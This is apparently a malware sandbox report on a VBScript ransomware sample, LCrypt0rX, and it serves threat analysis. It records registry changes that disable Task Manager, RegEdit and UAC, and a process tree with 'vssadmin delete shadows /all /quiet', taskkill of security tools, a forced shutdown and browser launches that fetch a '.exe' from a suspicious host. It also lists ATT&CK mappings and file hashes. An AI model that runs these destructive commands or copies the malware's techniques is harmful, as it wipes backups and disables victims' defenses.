PID 1820 wrote to memory of 2088	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 212	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 212	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 212	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2588	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2588	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2588	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2440	1820	cmd.exe	mspaint.exe
PID 1820 wrote to memory of 2440	1820	cmd.exe	mspaint.exe
PID 1820 wrote to memory of 2440	1820	cmd.exe	mspaint.exe
PID 1820 wrote to memory of 644	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 644	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 644	1820	cmd.exe	iexplore.exe
PID 2252 wrote to memory of 1956	2252	wscript.exe	wscript.exe
PID 2252 wrote to memory of 1956	2252	wscript.exe	wscript.exe
PID 2252 wrote to memory of 1956	2252	wscript.exe	wscript.exe
PID 1820 wrote to memory of 2136	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2136	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2136	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1364	1820	cmd.exe	calc.exe

System policy modification 1 TTPs 15 IoCs

evasion

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	wscript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\InactivityTimeoutSecs = "0"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableCMD = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	wscript.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ransom.Win32.LCrypt0rX.A\LCrypt0rX with shutdown.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1508
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Ransom.Win32.LCrypt0rX.A\LCrypt0rX with shutdown.vbs" /elevated
  2⤵
  - UAC bypass
  - Blocklisted process makes network request
  - Blocks application from running via registry modification
  - Disables RegEdit via registry modification
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2792
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2668
- - C:\Windows\System32\notepad.exe
    "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\READMEPLEASE.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:2056
- - C:\Windows\System32\cmd.exe
    cmd /c ""C:\Windows\System32\iamthedoom.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:1432
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://languishcharmingwidely.com/22/f4/31/22f431404146fb2f892b30f7d213aea4.js
      4⤵
      Modifies Internet Explorer Phishing Filter
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:1864
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1864 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3260
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?pla
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:1552
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1552 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3308
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:1852
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.youtube.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2088
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2088 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3268
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://smoggy-inexpensive-innocent.glitch.me/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:212
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:212 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3296
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://mail.yahoo.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2588
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2588 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4048
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:2440
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://languishcharmingwidely.com/22/f4/31/22f431404146fb2f892b30f7d213aea4.js
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:644
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:644 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:4080
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?pla
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2136
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2136 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3884
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:1364
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.youtube.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:600
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:600 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4064
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://smoggy-inexpensive-innocent.glitch.me/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:3020
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3020 CREDAT:275457 /prefetch:2
        5⤵
        
        PID:3996
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://mail.yahoo.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2788
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2788 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3972
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:2780
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://languishcharmingwidely.com/22/f4/31/22f431404146fb2f892b30f7d213aea4.js
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1564
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1564 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4004
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?pla
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2716
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2716 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3788
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:2064
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.youtube.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:1588
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1588 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3924
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://smoggy-inexpensive-innocent.glitch.me/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2508
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2508 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4012
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://mail.yahoo.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2772
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2772 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3896
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:1640
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://languishcharmingwidely.com/22/f4/31/22f431404146fb2f892b30f7d213aea4.js
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2840
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2840 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4056
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?pla
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:840
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:840 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3948
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:1132
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.youtube.com/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1984
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1984 CREDAT:275457 /prefetch:2
        5⤵
        
        PID:3940
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://smoggy-inexpensive-innocent.glitch.me/
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:1524
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1524 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:4072
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://mail.yahoo.com/
      4⤵
      Modifies Internet Explorer settings
      PID:2140
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:275457 /prefetch:2
        5⤵
        
        PID:4316
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:2420
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://languishcharmingwidely.com/22/f4/31/22f431404146fb2f892b30f7d213aea4.js
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:3252
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3252 CREDAT:340994 /prefetch:2
        5⤵
        
        PID:4268
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www.msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?pla
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:3376
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3376 CREDAT:275457 /prefetch:2
        5⤵
        
        PID:4296
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:2960
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://smoggy-inexpensive-innocent.glitch.me/
      4⤵
      PID:4412
- - C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
        5⤵
        
        PID:1956
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
        6⤵
        
        PID:2164
        
        C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
        7⤵
        
        PID:3336
        
        C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
        8⤵
        
        PID:4020
        
        C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs
        9⤵
        
        PID:4196
- - C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" C:\Windows\System32\wins32bugfix.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM powershell.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2204
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM taskmgr.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3740
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM cmd.exe /F
      4⤵
      Kills process with taskkill
      PID:4260
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM regedit.exe /F
      4⤵
      Kills process with taskkill
      PID:4376
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM control.exe /F
      4⤵
      Kills process with taskkill
      PID:4528
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM gp.exe /F
      4⤵
      Kills process with taskkill
      PID:4612
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM msconfig.exe /F
      4⤵
      Kills process with taskkill
      PID:4880
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:668
- - C:\Windows\System32\shutdown.exe
    "C:\Windows\System32\shutdown.exe" /r /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3344

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:3856

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:5912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199

Filesize
854B

MD5
e935bc5762068caf3e24a2683b1b8a88

SHA1
82b70eb774c0756837fe8d7acbfeec05ecbf5463

SHA256
a8accfcfeb51bd73df23b91f4d89ff1a9eb7438ef5b12e8afda1a6ff1769e89d

SHA512
bed4f6f5357b37662623f1f8afed1a3ebf3810630b2206a0292052a2e754af9dcfe34ee15c289e3d797a8f33330e47c14cbefbc702f74028557ace29bf855f9e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
717B

MD5
822467b728b7a66b081c91795373789a

SHA1
d8f2f02e1eef62485a9feffd59ce837511749865

SHA256
af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

SHA512
bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1EE2A8B033EB8C8D30746A1B3BD4E662

Filesize
504B

MD5
4f304bc2ee03558e6687c697d50eb1a3

SHA1
b972d96106331afd9f36439a7cc225a565ee596e

SHA256
563dfb6900f8d689fcc17de631f3ecefcec06c32d6a16f69cabca03ea64785df

SHA512
850ad18c0e63b485970cf9791a419c446b2b7c55122cc7826808a13907be759397d0670317d552ba558f2a58a6c1e3f462dc5406b09d99e1cdf69f46409fce3b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
26e5e8b76e19c5d224b27600cc3a9e4a

SHA1
257dfeaa6b45478153b772dc1a59dd94ba51601d

SHA256
d6abc0b16ab83c6e89c036c963156b8cdd29268117df4145db1d2f2a27f8cd54

SHA512
67b48b37da9a75f5cbde9cb23629a16cde80686297784d2ad0750c3d4255651feceabd6fcfa67a15c2eae6fd3d22f8ff0a57937d70ffeb196ba45eb4f1b00be8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_35F8500DD4A291FDDC2DA5DB7F867071

Filesize
471B

MD5
7ba023c241e59644add9d378963a8cd9

SHA1
237fce6ccaa36ebc32cc9805cd4d57c855a6a425

SHA256
e211586007d30c128d14cd276ae235331dc2c800d274a145501e618abe077de4

SHA512
3072f27f02607f7e680c728a2e3469cf246436478e7679b8f797fc226462dcb69e8673fefad062c5153578ca0a64baea389c1276e4616fbd1b2deee089bb0990

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311

Filesize
472B

MD5
0139fe82cb34cb256b360274dbac9920

SHA1
8d4db9ab5d248afe378daf63c83aba932af3872c

SHA256
c248b5d60da8a1729d73530df5e65bf0cb536870c80731a7aa56fc49dc89fbb1

SHA512
43a487b52a255b78cb170883114f4968814874ba204ae63f4e916216646a2dcf2915025233e35006a80fc5e61c1e1b7c4bf9a7cad3ade703099d1f4fb3450e61

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7

Filesize
472B

MD5
ba414d4a87b45d93913afe4910e38802

SHA1
0b828dd2d6cc68a1b5dc482b40c4c41400eb89a9

SHA256
f9b039343c166448778a80252df575965c46cd976c17acc826f0a9daad66a47d

SHA512
f82d83b123f0626b348a4ccde7cbef97459f2075e23161951354d11755e42caa22b1c0b4670740da1d37f06bf2263776e0d0143655249c199f56340b503d6865

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB

Filesize
471B

MD5
8ee7e1841d3593c3dd852b588c6c0a4a

SHA1
afbd26383f7f891d7db4acd1db0f9c36df8cfae7

SHA256
254c576fe82efdff5489149cb1e5d7c309d10f2e1938329678628edb508720e5

SHA512
1490452e5de33fee9ed0cf8dd54f3d8d76c9ad03c28160f411ab6fad971e14dd40012c4df0b525dd7da2f3b0fd5252848b90037a193a5287ecac91427fac67f1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199

Filesize
170B

MD5
1855da43d1a14ee1c247859b697a6209

SHA1
403e52956dac07a7d943b734ee1939e26b1c2381

SHA256
461c8e7bd5a99968cd9a827e6d36f8d43f58a7c95a582e2a9fd661a67b930b3a

SHA512
58e1935a5b0dd14221c41bb9ee2462bae0065a91e263f1087e4fc166a08e644d3f2d94e62224028ecc78c4d6aed427a504a13e34e9405df657965fa982c7dd77

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
71eb978a549ce6cbb83678dd002eb346

SHA1
ba32064a010f81fc9de743f71c1e9106fd9f3f2f

SHA256
99c0c6508279e27f0f81bcc02807ca31f0c1b24c90ac58078a98bc12e455757d

SHA512
216c043b3a7b7e61e610bd43a84a110e9ea5b0e4c12ad7cef4ebd0174b7d90d7c16e68209c3c04174944c1df396006e8345c588bdfbeff7b11fff9103b6f2b85

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1EE2A8B033EB8C8D30746A1B3BD4E662

Filesize
550B

MD5
b86aa54b28dc13cea8f21c4fd4fcd524

SHA1
111a26f5852fdd1d1dbb4bb18bdd06dfc1988656

SHA256
36811b8932b08e0baabf68f0cb08c1c1733e8b41a605c1322035a7bdbfdec442

SHA512
1bc45afb7171dcebc6df82d72da154f89c5fd2d57e14d22479f8b0097709ee93f5baf462b2a61d69e42bfab328190e9fff895eebaa6bb644ce0a424e1aade8f7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
945cded85579c0d8cf31c303ce99c086

SHA1
ab16532030d31377419097c66e4dcb7d5c272eb3

SHA256
92700a389ee7b54e02d8f1e2ba6cf0ae59243603106679cf517f829bc0edcd88

SHA512
7558f8005403f821ebea7e4aeff5a45a4fcbb05519b727d4cd527f89ec427eae30abc1ddfcf0e94bfdf88a728caadb7c160b4730f608d40f85873bc40a285b57

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_35F8500DD4A291FDDC2DA5DB7F867071

Filesize
408B

MD5
73de1aa4d6053caf2eace317cb52e89f

SHA1
e9bbbf25e29ccaf0f5b111d77260f04885cc3f9f

SHA256
caf2f1c4bb599388d61fedc5778fa6f59112ac0bbd9f7090d4c1b2fbc99f0e73

SHA512
3de5f2453e8652e3854dc0e282d132c4d56dabe76c3638202c2b713123a9aea09921df9bc929d78f63287e190669f4925eb4649c940b7e6577d0af6f8c521a7d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311

Filesize
398B

MD5
bf2ddb6ea5fead43fdbf93b2db062662

SHA1
5e2624756d6788ac19ebee4eaf5df5ebc150c3b8

SHA256
9a9e8894118e03846536547b26afcc4af6daeac2f65c38cc3b337a5d39b3ac12

SHA512
